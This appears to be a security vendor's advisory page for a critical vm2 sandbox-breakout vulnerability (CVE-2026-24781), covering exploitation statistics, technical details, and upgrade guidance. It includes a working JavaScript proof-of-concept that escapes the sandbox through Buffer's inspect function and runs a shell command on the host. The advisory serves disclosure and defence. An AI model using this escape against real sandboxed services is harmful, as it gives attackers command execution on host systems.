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CRITICAL severity

GHSA-v37h-5mfm-c47c — vm2

CRITICALFix: patriksimek/vm2@8d30d93

GHSA-v37h-5mfm-c47c is a critical-severity (CVSS 9.8) remote code execution vulnerability in vm2. A fix is available for vm2 — see the affected versions and patch details below.

VM2 Has Sandbox Breakout Through Inspect Function

Also known asCVE-2026-24781
Published
May 5, 2026
Updated
May 5, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 24, 2026 · OSV.dev, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-v37h-5mfm-c47c.

EPSS Exploitation Probability

via FIRST.org ↗
1.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs66th percentile — riskier than 66% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-v37h-5mfm-c47c plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 378,567 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

901other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
vm2npm
821Kdownloads / week

Description

Summary

VM2 suffers from a sandbox breakout vulnerability through the inspect function. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.

Details

The node inspect method allows to log details of objects. To get to the details, the implementation unwraps proxies. The unwrapped values can be extracted using the this.seen of the stylize function. This allows to get access to the internal proxy handler of VM2 which contains the sandbox object. Since the access to the handler is itself wrapped by a VM2 proxy, accessing the sandbox object in the proxy handler will result in a wrapped sandbox object given into the sandbox. This allows to write a wrapped host object to the wrapped sandbox object and read the raw host object from the raw sandbox object bypassing the proxy bridge.

PoC

const obj = {
	subarray: Buffer.prototype.inspect,
	slice: Buffer.prototype.slice,
	hexSlice:()=>'',
	l:{__proto__: null}
};

obj.slice(20, {showHidden: true, showProxy: true, depth: 10, stylize(a) {
	if (this.seen?.[1]?.objectWrapper) this.seen[1].objectWrapper().x = obj.slice;
	return a;
}});
obj.l.x.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');

Impact

Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmvm2all versions3.11.0npm install vm2@3.11.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for vm2, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update vm2 to 3.11.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-v37h-5mfm-c47c is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-v37h-5mfm-c47c can be triaged on real exposure rather than presence alone.

Tailored to GHSA-v37h-5mfm-c47c. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatImportant
ProductFixed inAdvisory
Red Hat Developer Hub 1.10rhdh/rhdh-hub-rhel9:1783448184RHSA-2026:36754
Red Hat Developer Hub 1.9rhdh/rhdh-hub-rhel9:1781187342RHSA-2026:26234

Frequently Asked Questions

### Summary VM2 suffers from a sandbox breakout vulnerability through the `inspect` function. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. ### Details The node `inspect` method allows to log details of objects. To get to the details, the implementation unwraps proxies. The unwrapped values can be extracted using the `this.seen` of the `stylize` function. This allows to get access to the internal proxy handler of VM2 which contains the sandbox object. Since the access to the handler is itself wrapped by a VM2 pro
O3 Security · Impact-Aware SCA

Is GHSA-v37h-5mfm-c47c in your dependencies?

O3 Security finds GHSA-v37h-5mfm-c47c across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-v37h-5mfm-c47c: vm2 RCE (Critical 9.8) | O3 Security